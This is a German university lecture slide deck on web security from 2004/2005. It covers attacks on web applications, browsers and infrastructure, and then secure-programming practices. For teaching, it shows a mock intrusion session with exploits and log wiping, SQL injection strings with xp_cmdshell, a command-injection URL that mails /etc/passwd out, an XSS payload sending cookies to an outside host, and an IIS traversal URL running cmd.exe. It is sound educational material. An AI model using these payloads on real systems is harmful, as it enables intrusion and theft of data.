Web Engineering - Universität Ulm
Web Engineering - Universität Ulm
Web Engineering - Universität Ulm
Erfolgreiche ePaper selbst erstellen
Machen Sie aus Ihren PDF Publikationen ein blätterbares Flipbook mit unserer einzigartigen Google optimierten e-Paper Software.
<strong>Web</strong> <strong>Engineering</strong><br />
Hauptstudium Informatik<br />
Hauptstudium Medieninformatik<br />
Bachelor/Master Informatik<br />
WS 2004/2005<br />
Stand: 28.02.2005<br />
Michael <strong>Web</strong>er und Frank Kargl<br />
<strong>Universität</strong> <strong>Ulm</strong>
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 2
hacker:~$ telnet bigwidget.com 143<br />
Trying 10.0.0.28...<br />
Connected to bigwidget.com.<br />
* OK bigwidget IMAP4rev1 Service 9.0(157) at Wed, 14 Oct 1998 11:51:50 -0400 (EDT)<br />
. logout<br />
* BYE bigwidget IMAP4rev1 server terminating connection<br />
. OK LOGOUT completed<br />
Connection closed by foreign host.<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 3
imap<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 4
imap<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 5
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 6
hacker ~$ ./imap_exploit bigwidget.com<br />
IMAP Exploit for Linux.<br />
Author: Akylonius (aky@galeb.etf.bg.ac.yu)<br />
Modifications: p1 (p1@el8.org)<br />
Completed successfully.<br />
hacker ~$ telnet bigwidget.com<br />
Trying 10.0.0.28...<br />
Connected to bigwidget.com.<br />
Red Hat Linux release 4.2 (Biltmore)<br />
Kernel 2.0.35 on an i686<br />
login: root<br />
bigwidget:~# whoami<br />
root<br />
# w<br />
10:20pm up 13:15, 1 user, load average: 0.01, 0.02, 0.03<br />
User tty login@ idle JCPU PCPU what<br />
root console 9:27am 147:52 14:41 14:14 /sbin/sh<br />
root pts/5 9:24pm /sbin/sh<br />
# /tmp/mytools/logedit root pts/5<br />
# w<br />
10:20pm up 13:15, 1 user, load average: 0.01, 0.02, 0.03<br />
User tty login@ idle JCPU PCPU what<br />
root console 9:27am 147:52 14:41 14:14 /sbin/sh<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 7
#<br />
#<br />
#<br />
cd /var/mail<br />
ls -l<br />
-rw-rw---- 1 chuck mail 0 Sep 2 23:04 chuck<br />
-rw-rw---- 1 ribeye mail 1884734 Mar 4 09:56 ribeye<br />
grep -i password ribeye<br />
Subject: i fORGOT mY pASSWORD! hELP!!!<br />
Ribeye, you need to stop forgetting your password. I can't keep changing it<br />
your new password is "d0ntf0rg3t". WITHOUT THE QUOTES<br />
# telnet www.bigwidget.com<br />
Trying 208.21.1.5<br />
Connected to www.bigwidget.com<br />
Escape character is '^]'.<br />
UNIX(r) System V Release 4.0 (www.bigwidget.com)<br />
login: ribeye<br />
Password: d0ntf0rg3t<br />
Last login: Thu Mar 4 11:24:44 from pc23.internal.bigwidget.com<br />
www%<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 8
www%<br />
www%<br />
www%<br />
uname -a<br />
SunOS www.bigwidget.com 5.5.1 Generic_103640-24 sun4d sparc<br />
SUNW,SPARCserver-1000<br />
ls -la /usr/bin/eject<br />
-r-sr-xr-x 1 root bin 13144 Jul 15 1997 /usr/bin/eject*<br />
[ upload via cut and paste eject overflow exploit ]<br />
www% gcc -o eject_overflow eject_overflow.c<br />
www% ./eject_overflow<br />
Jumping to address 0xeffff630 B[364] E[400] SO[400]<br />
# whoami<br />
root<br />
#<br />
#<br />
cd /data/creditcards<br />
cat visa.txt<br />
Allan B. Smith 6543-2223-1209-4002 12/99<br />
Donna D. Smith 6543-4133-0632-4572 06/98<br />
Jim Smith 6543-2344-1523-5522 01/01<br />
Joseph L.Smith 6543-2356-1882-7532 04/02<br />
Kay L. Smith 6543-2398-1972-4532 06/03<br />
Mary Ann Smith 6543-8933-1332-4222 05/01<br />
Robert F. Smith 6543-0133-5232-3332 05/99<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 9
# cd /var/httpd/htdocs/<br />
# ftp my.home.base<br />
Connected to my.home.base<br />
220 WU Ftp Service FTP Service (Version 2.7).<br />
Name: hacker<br />
331 Password required for hacker.<br />
Password: *******<br />
230 User hacker logged in.<br />
Remote system type is Unix.<br />
ftp> dir<br />
200 PORT command successful.<br />
150 Opening ASCII mode data connection for /bin/ls.<br />
total 10<br />
-rwxr-xr-x 9 hacker users 1024 Aug 17 17:07 .<br />
-rwxr-xr-x 9 root root 1024 Aug 17 17:07 ..<br />
-rwxr-xr-x 2 hacker users 2034 Aug 17 17:07 index.html<br />
-rwxr-xr-x 2 hacker users 1244 Aug 17 17:07 image1.gif<br />
-rwxr-xr-x 2 hacker users 10244 Aug 17 17:07 image2.gif<br />
226 Transfer complete. 234 bytes received in 0.82 seconds (0.76 Kbytes/sec)<br />
ftp> mget *<br />
200 PORT command successful.<br />
150 Opening BINARY mode data connection for index.html<br />
226 Transfer complete.<br />
ftp> quit<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 10
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 11
<strong>Web</strong> Security<br />
9.1 Überblick<br />
9.2 Angriffe auf <strong>Web</strong>-Anwendungen<br />
9.3 Angriffe auf den Browser<br />
9.4 Angriffe auf die Infrastruktur<br />
9.5 Sicheres Programmieren
Überblick<br />
Was bezwecken Angreifer?<br />
<strong>Web</strong>site Defacements<br />
Manipulationen (z.B. bei Ebay)<br />
Angriffsplattformen<br />
Zugang zur Informationen (DB-Inhalte, Kreditkartennr. etc.)<br />
Beispiele<br />
Mass Defacements<br />
http://www.heise.de/newsticker/meldung/49424:<br />
Schwerwiegende Sicherheitsmängel bei T-Com<br />
„Der Chaos Computer Club (CCC e.V.) entdeckte<br />
schwerwiegende Sicherheitsmängel in der T-Com-<br />
Datenbank OBSOC (Online Business Solution Operation<br />
Center). Ohne größeren Aufwand habe jeder Surfer nicht<br />
nur Kunden- und Unternehmensdaten einsehen, sondern<br />
sogar ändern können.“<br />
http://www.heise.de/newsticker/meldung/52573:<br />
Download für CMS PostNuke manipuliert<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 13
<strong>Web</strong>site Defacements<br />
<strong>Web</strong>site Hacking: http://www.alldas.de/<br />
2001: ca. 22.000<br />
2000: ca. 4.000<br />
1999: ca. 1.000<br />
1998: ca. 100<br />
http://www.zone-h.org/en/defacements/:<br />
23.11.2003, bis 16:00 CET<br />
785 gemeldete Defacements!<br />
http://www.heise.de/newsticker/meldung/54684:<br />
21C3: Massenhack löst Welle der Empörung aus<br />
„Hacker aus dem Umfeld des Chaos Communication<br />
Congress veränderten die Homepages von rund 18.000<br />
<strong>Web</strong>sites, was das LKA auf den Plan rief und Diskussionen über<br />
die Hackerethik ausgelöst hat.“<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 14
Was kann ich angreifen?<br />
<strong>Web</strong>-Anwendungen<br />
Browser<br />
Infrastruktur<br />
Netzwerk, Dienste – z.B. DNS, Serversoftware, …<br />
Benutzer<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 15
<strong>Web</strong> Security<br />
9.1 Überblick<br />
9.2 Angriffe auf <strong>Web</strong>-Anwendungen<br />
9.3 Angriffe auf den Browser<br />
9.4 Angriffe auf die Infrastruktur<br />
9.5 Sicheres Programmieren
Angriffe auf <strong>Web</strong>-Anwendungen<br />
Beispiele<br />
URLs/Parameter manipulieren<br />
Skript-Sicherheit<br />
Authentication Bypass<br />
SQL-Injection<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 17
Skript Sicherheit<br />
„Fahrlässiges“ Skripten führt zu vielen<br />
Sicherheitsproblemen<br />
Beispiel<br />
#!/usr/bin/perl<br />
use CGI qw(:standard);<br />
print header;<br />
print start_html('Login-Vorgang');<br />
$id = param("ID");<br />
$pw = param("password");<br />
$realpw = `cat passwords/$id`;<br />
print "Richtiges Passwort = $realpw ";<br />
if ( "$realpw" =~ "$pw" ) {<br />
print "Willkommen im System";<br />
} else {<br />
print "Nicht authorisiert!";<br />
}<br />
print end_html;<br />
GET http://medien.informatik.uni-ulm.de/~frank/cgi-bin/hackme/hackme.pl?<br />
ID=123%20%3B%20Mail%20frank@kargl.net%20%3C%20/etc/passwd&<br />
password=blubb&submit=Login<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 18
Authentication Bypass<br />
z.B. durch URL Manipulation (OBSOC)<br />
Einfache Passwörter<br />
uvm.<br />
Quiz:<br />
http://quiz.ngsec.com/<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 19
SQL Injection<br />
Idee: über Parametermanipulationen werden<br />
SQL Anfragen bzw. deren Ergebnis<br />
manipuliert.<br />
SELECT * FROM users WHERE user=‘$user‘ and pass=‘$password‘<br />
GET script.php?user=john‘--<br />
SQL Kommentar<br />
a‘ UNION SELECT user,pass FROM admins<br />
a‘EXEC xp_commandshell ‚dir c:\‘<br />
oder Speichern von Javascript Code in der Datenbank,<br />
der dann an Clients ausgeliefert wird (Cross-Site-Scripting)<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 20
<strong>Web</strong> Security<br />
9.1 Überblick<br />
9.2 Angriffe auf <strong>Web</strong>-Anwendungen<br />
9.3 Angriffe auf den Browser<br />
9.4 Angriffe auf die Infrastruktur<br />
9.5 Sicheres Programmieren
Angriffe auf den Browser<br />
Kann direkt oder indirekt zum „Opfer“ werden<br />
Schwachstellen im Browsercode/-konzept<br />
Schwachstellen in benutzten Libraries/Plugins<br />
Veränderung der Browsereinstellungen<br />
Ausführen von unerwünschtem Skriptcode<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 22
Buffer overruns<br />
Auch „stack smashing“ genannt<br />
Schreiben in lokale Variablen über<br />
Puffergrenzen hinaus<br />
Variableninhalt = ausführbarer Code<br />
(speziell formatiert)<br />
Ausführung: Überschreiben der<br />
Rücksprungadresse auf dem Stack<br />
Artverwandter Angriff: „format string<br />
attacks“<br />
…bei Sprachen ohne Typprüfung zur Laufzeit.<br />
Aktuell betroffen: IE IFRAME, IE JPEG lib.<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 23
Buffer overruns<br />
void doit(char *p) {<br />
char buf[20];<br />
int i;<br />
for (i=0; i
Secure Socket Layer<br />
Kommunikation zwischen Client und Server<br />
per default unverschlüsselt<br />
Statt proprietärem Protokoll für jede<br />
Applikation: Generische Lösung<br />
HTTP LDAP IMAP<br />
Secure Socket Layer<br />
TCP/IP Layer<br />
TCP/IP Layer<br />
. . .<br />
Application Layer<br />
Network Layer<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 25
Secure Socket Layer<br />
Ursprünglich von Netscape<br />
Mittlerweile RFC 2246 „Transport Layer<br />
Security“ (TLS)<br />
Zwischenschicht zwischen TCP/IP und<br />
Anwendungsprotokoll<br />
Implementiert als Bibliothek<br />
Schnittstelle den normalen Sockets sehr ähnlich<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 26
Secure Socket Layer<br />
Features:<br />
Server-Authentifizierung mit Zertifikat<br />
Client Authentifizierung mit Zertifikat (optional)<br />
Verschlüsselte Verbindung<br />
Handshake prüft Zertifikate und handelt<br />
verwendete Verfahren aus<br />
Überprüfen der Signatur d. Zertifikate<br />
(Root-CAs müssen lokal vorhanden sein)<br />
Schlüsselaustausch über DH/RSA<br />
Symm. Verschlüsselung mit 3DES/RC4/…<br />
Hashfunktionen: SHA/MD5/…<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 27
= ?<br />
Secure Socket Layer<br />
Client www.bank48.de<br />
Request<br />
Verschlüsselung<br />
Reply<br />
Zertifizierung<br />
CA<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 28
SSL Man in the Middle<br />
Beispiel: Einschalten in eine verschlüsselte<br />
Verbindung zwischen einem Bankkunden<br />
und dem Onlinebanking System der Bank 48<br />
Schlüssellänge egal<br />
Voraussetzungen:<br />
Techn. Unverständnis des Nutzers<br />
(social engineering)<br />
Einschleusen des Angreifers in Verbindung<br />
Angreifer kontrolliert entspr. Router<br />
Im lokalen Netz: ARP-Spoofing (Gateway)<br />
Global: DNS spoofing<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 29
= ?<br />
SSL Man in the middle<br />
Client www.bank48.de<br />
self-CA<br />
Request<br />
Verschlüsselung<br />
Reply<br />
sign<br />
Angreifer<br />
www.bank48.de<br />
Request<br />
Reply<br />
Verschlüsselung<br />
sign<br />
CA<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 30
SSL Man in the middle<br />
www.bank48.de<br />
Verisign CA<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 31
Browsereinstellungen<br />
Sicherheitskritisch:<br />
Proxy-Einstellungen<br />
Zonen-Einstellungen (beim IE)<br />
SSL-Zertifikate<br />
Änderung durch:<br />
Programmexploit<br />
Social engineering<br />
Wurm / Spyware / …<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 32
Cross Site Scripting<br />
Ausführen von clientseitigem Skriptcode in<br />
fremdem Kontext<br />
Skript wird auf <strong>Web</strong>server platziert, z.B.<br />
Posting in Boardsystemen<br />
Mail an <strong>Web</strong>mail-Kunde<br />
eBay-Angebot<br />
u.U. JavaScript-enabled HTML mail reader<br />
Client ruft Seite auf, sein Browser führt das<br />
Skript aus<br />
Browserintegrierte Skriptsprachen, z.B. JavaScript,<br />
ActiveScript, VBScript, …<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 33
Cross Site Scripting<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 34
Cross Site Scripting<br />
Typische Angriffsziele:<br />
Manipulation der angezeigten Daten<br />
IE zone escape<br />
Cookie stealing<br />
…ganz fatal bei Authentisierungscookies<br />
(z.B. MS Passport)<br />
…Cookies aber immer nur innerhalb der<br />
Domäne abrufbar<br />
Informationen tunneln:<br />
Manipulierte Links<br />
Transparente Bilder mit URL-Parametern<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 35
XSS - Beispiel<br />
XSS-anfälliges Management-<br />
Interface<br />
Erlaubt u.a. Browsen v. Logs<br />
Script, das ein Bild erzeugt<br />
URL-Parameter werden<br />
gespeichert<br />
Zur Illustration Ausgabe der<br />
Parameter im Bild<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 36
XSS - Beispiel<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 37
XSS - Beispiel<br />
(XSS-anfällige) Management-Konsole in PHP<br />
Authentisierungs-Info in Session<br />
Session wird von PHP anhand von Cookie<br />
identifiziert<br />
(…)<br />
if (isset($HTTP_SESSION_VARS['login'])) {<br />
echo "Log viewer\n";<br />
(…)<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 38
XSS - Beispiel<br />
Einschleusen von Skriptcode: URL-Aufruf<br />
<br />
document.write('');<br />
<br />
http://scuba.informatik.uni-ulm.de/%3Cscript%3E<br />
document.write('%3Cimg%20src=%22http://medien.informatik.<br />
uni-ulm.de/~stefan/paramimg.php?cookies='<br />
%2bdocument.cookie%2b'%22%3E');%3C/script%3E<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 39
XSS - Beispiel<br />
Einschleusen von Skriptcode: URL-Aufruf<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 40
Cross Site Scripting<br />
Scripting über Framegrenzen hinweg<br />
Andere Fenster / andere Tabs<br />
Anderer frame / iframe<br />
…besonders fatal beim IE: Sicherheitszonen<br />
<br />
onload=function () {<br />
var oVictim=open("http://seite.mit.cookie/", "OurVictim",<br />
"width=100,height=100");<br />
setTimeout( function () {<br />
oVictim.frames[0].location.href=<br />
"javascript:alert(document.cookie)"; }, 7000 );<br />
}<br />
<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 41
Cross Site Scripting<br />
Fazit:<br />
Alle Eingaben von außen sind potentiell böse!<br />
…auch welche, die zunächst zwischengespeichert<br />
wurden<br />
Filtere Metazeichen bzw. escape sie:<br />
< <<br />
> ><br />
Ebenso ( ) , # & ?<br />
Vorsicht bei Funktionen wie urldecode<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 42
<strong>Web</strong> Security<br />
9.1 Überblick<br />
9.2 Angriffe auf <strong>Web</strong>-Anwendungen<br />
9.3 Angriffe auf den Browser<br />
9.4 Angriffe auf die Infrastruktur<br />
9.5 Sicheres Programmieren
Angriffe auf Infrastruktur<br />
Einige Beispiele:<br />
DoS/DDoS<br />
Buffer Overflow<br />
SSL/MitM<br />
Directory Traversal<br />
für CGIs<br />
Konfigurationsfehler<br />
Angriffe auf benutzte Dienste<br />
DNS<br />
Rogue Proxies<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 44
DoS/DDoS<br />
(Distributed) Denial of Service Attacks<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 45
DDoS<br />
Attacker<br />
Router<br />
Internet<br />
Attack Relays<br />
Firewall Router<br />
Load-<br />
Balancer<br />
Backend-<br />
Server<br />
(e.g. Database)<br />
<strong>Web</strong>-<br />
Servers<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 46
DDoS<br />
Problem immer noch akut:<br />
http://www.heise.de/newsticker/meldung/55800<br />
Typische Angriffsarten<br />
SYN-Flood<br />
UDP Flood<br />
Typische Tools<br />
Trinoo<br />
Attack: UDP flooding / Control: TCP<br />
TFN2K<br />
Attack: UDP / TCP SYN / ICMP flooding + TARGA attack<br />
Control: ICMP_ECHO_REPLY, UDP, TCP (encrypted)<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 47
DDoS Schutz<br />
Schwierig!<br />
Routing abklemmen?<br />
Filter?<br />
Load Balancing / CDNs<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 48
Directory Traversal<br />
„Ausbruch“ aus htdocs Verzeichnis<br />
Beispiel:<br />
Fehler im IIS:<br />
http:///scripts/..%255c..%%35<br />
cwinnt/system32/cmd.exe?/c+dir+c:\<br />
dir C:\<br />
Entweder im <strong>Web</strong>server, oder in<br />
<strong>Web</strong>anwendung<br />
Siehe<br />
http://www.technicalinfo.net/papers/<br />
URLEmbeddedAttacks.html<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 49
Konfigurationsfehler<br />
Fehlerhafte Konfiguration z.B. im Apache-<br />
Server führt zu Sicherheitsproblemen<br />
Einige Beispiele:<br />
Server-Side Includes mit Exec CGI für Seiten in<br />
Foren/Gästebüchern<br />
Option +Indexes und fehlendes index.html in<br />
Verzeichnissen mit Konfigdaten<br />
(z.B. PHP-Includes)<br />
In Uploadverzeichnis (mit wählbarem Filenamen)<br />
werden .htaccess Files ausgewertet<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 50
Angriffe auf benutzte Dienste<br />
WWW hängt von einer Vielzahl weiterer<br />
Dienste ab<br />
DNS, TCP, IP, Routing …<br />
Vielfältige Angriffe auf diese Dienste möglich<br />
DNS Spoofing / Cache-Poisoning<br />
TCP-Hijacking<br />
Routing-DoS<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 51
Beispiel TCP Hijacking<br />
10.1.2.3 10.4.5.6<br />
telnet<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 52
Beispiel TCP Hijacking<br />
10.1.2.3 10.4.5.6<br />
Seq. A<br />
10.7.8.9<br />
Seq. B<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 53
Beispiel TCP Hijacking<br />
10.1.2.3 10.4.5.6<br />
Smurf Flood<br />
10.7.8.9<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 54
Beispiel TCP Hijacking<br />
10.1.2.3 10.4.5.6<br />
10.7.8.9<br />
Source: 10.1.2.3<br />
Dest: 10.4.5.6<br />
Seq: A+1<br />
xterm –display 10.7.8.9<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 55
Beispiel TCP Hijacking<br />
# ./hijack 10.1.2.3 1234 10.4.5.6<br />
Starting Hijacking demo – F.Kargl 1999<br />
--------------------------------------<br />
Takeover phase 1: Stealing connection.<br />
Sending Spoofed clean-up data...<br />
Waiting for spoof to be confirmed...<br />
Phase 1 ended.<br />
Takeover phase 2: Getting on track with SEQ/ACK's again<br />
Server SEQ: 2B32CC22 (hex) ACK: 1140C0E (hex)<br />
Phase 2 ended.<br />
Takeover phase 3: Sending MY data.<br />
Sending evil data.<br />
Waiting for evil data to be confirmed...<br />
Phase 3 ended.<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 56
Beispiel TCP Hijacking<br />
10.1.2.3 10.4.5.6<br />
10.7.8.9<br />
xterm<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 57
Rogue Proxies<br />
Proxies können eine Vielzahl von<br />
Veränderungen vornehmen<br />
Mithören<br />
Inhalte verändern<br />
Verbindungen blockieren<br />
All dies kann auch für Angriffe genutzt<br />
werden<br />
Beispiele<br />
Paros Proxy<br />
http://odem.org/insert_coin/<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 58
<strong>Web</strong> Security<br />
9.1 Überblick<br />
9.2 Angriffe auf <strong>Web</strong>-Anwendungen<br />
9.3 Angriffe auf den Browser<br />
9.4 Angriffe auf die Infrastruktur<br />
9.5 Sicheres Programmieren
Best practices<br />
Bei der Installation:<br />
Minimales Featureset aktivieren<br />
Versionsmeldungen abschalten<br />
Bei der Implementierung:<br />
Niemals Datenquellen von außen trauen!<br />
Benutzereingaben<br />
Alles, was übers Netz kommt<br />
Dateien, auf die auch andere Prozesse zugreifen können<br />
(z.B. Logdateien)<br />
Vorsicht mit Meta-Characters<br />
Zeichen mit Sonderbedeutung<br />
Eigene Sprache, <strong>Web</strong>-Scripts, Subsysteme (z.B. SQL-DB)<br />
Evasion: URL-Escaped characters, Unicode, …<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 60
Best practices<br />
Wartung:<br />
Nicht mehr benötigte Dateien löschen<br />
Nicht im Live-System entwickeln<br />
Backupdateien entfernen (*.bak, *~, … werden<br />
als Textdateien ausgeliefert Source verfügbar)<br />
Sicherheitsupdates von Serversoftware und<br />
Subkomponenten zeitnah einspielen<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 61
Fingerprinting erschweren<br />
Fingerprinting = Identifizieren von OS,<br />
Software, etc.<br />
Erleichtert gezielte Angriffe<br />
Chuck<br />
Suche nach Exploits f. bestimmte Versionen<br />
Charles Phillip Arthur George Windsor Mountbatten,<br />
The Prince of Wales<br />
Server: Apache Server: Apache/2.0.48 (Linux/SuSE) PHP/4.3.3<br />
OpenSSL/0.9.7b<br />
Exploits für Apache<br />
2.0.48?<br />
Welche SuSE-Release beinhaltet Apache<br />
2.0.48? Vulnerabilities dieser Release?<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 62
Apache<br />
Versionsmeldungen abschalten<br />
ServerTokens ProductOnly<br />
Bei Apache 1.x: Zusätzlich ServerSignature Off<br />
Directory browsing deaktivieren<br />
mod_headers<br />
Beliebige Headers setzen/löschen/ändern<br />
mod_security: unter anderem…<br />
Anti-evasion: Directory-“Schweinereien“ entfernen,<br />
URL-Encoding auflösen, …<br />
Regelsprache f. Header, Servervariablen, POST-<br />
Upload, …<br />
Ext. Programmaufruf f. Uploads (z.B. Virusscan)<br />
Server identity ändern<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 63
CGI scripts<br />
Generell: Buffer overrun Problematik<br />
Erkennung (Directory vs. Extension)<br />
Extension .cgi + Upload-Möglichkeit <br />
Beliebigen Code auf Server ausführen<br />
Vorsicht beim Ausführen von Kommandos<br />
mit der Shell! (gilt allgemein)<br />
Shell parsing<br />
PATH-Variable vs. Absoluter Pfad beim Aufruf<br />
CGI wrapper - Rechtebeschränkung für CGI‘s<br />
z.B. Ausführung mit der EUID des Besitzers<br />
z.B. ulimit setzen<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 64
PHP<br />
Versionsmeldungen abschalten<br />
php.ini: expose_php=Off<br />
register_globals<br />
Bei alten Versionen: Default auf „on“<br />
Automatischer Import von Environment, GET, POST, Servervar.<br />
und Cookies als globale Variablen<br />
In php.ini: register_globals=off<br />
safe_mode<br />
Einschränkung des Dateizugriffs auf eigene UID (oder –<br />
optional – GID)<br />
Nur Programme in definierten Pfaden dürfen ausgeführt<br />
werden<br />
Module dürfen nur aus best. Pfaden eingebunden werden<br />
Funktionsbeschränkung einiger Funktionen<br />
http://www.php.net/maual/en/features.safe-mode.functions.php)<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 65
Perl<br />
Warnings – perl -w<br />
Warnungen vor potentiellen Tippfehlern, z.B. im<br />
Variablenname („used only once“)<br />
Zwingt zu „etwas ordentlicherer“ Programmierweise<br />
Taint mode – perl -T<br />
Ungewollte Ausführung von Programmen erschweren<br />
Alle Variablen, die von außen kommen, sind „tainted“<br />
Umgebungsvar., stdin, Parameter, …<br />
Verwendung in exec(), system(), eval(), …<br />
Fehlermeldung<br />
„untaint“:<br />
Neuzuweisung<br />
„Filterung“ durch regulären Ausdruck (Substring extrahieren)<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 66
Tools<br />
Automatisierte Tests für XSS, SQL injection, …<br />
Paros Proxy<br />
Div. kommerzielle Scanner (z.B. <strong>Web</strong>Inspect)<br />
Buffer overflow scanner<br />
Heuristische Überprüfung von C-Programmen<br />
z.B. rats/ratscan, pscan, …<br />
Geeignete Compiler<br />
z.B. gcc-Schutzmechanismen<br />
libsafe (ersetzt anfällige Funktionen durch eigene)<br />
<strong>Web</strong> <strong>Engineering</strong>, WiSe 2004/2005, Michael <strong>Web</strong>er und Frank Kargl, Folie 67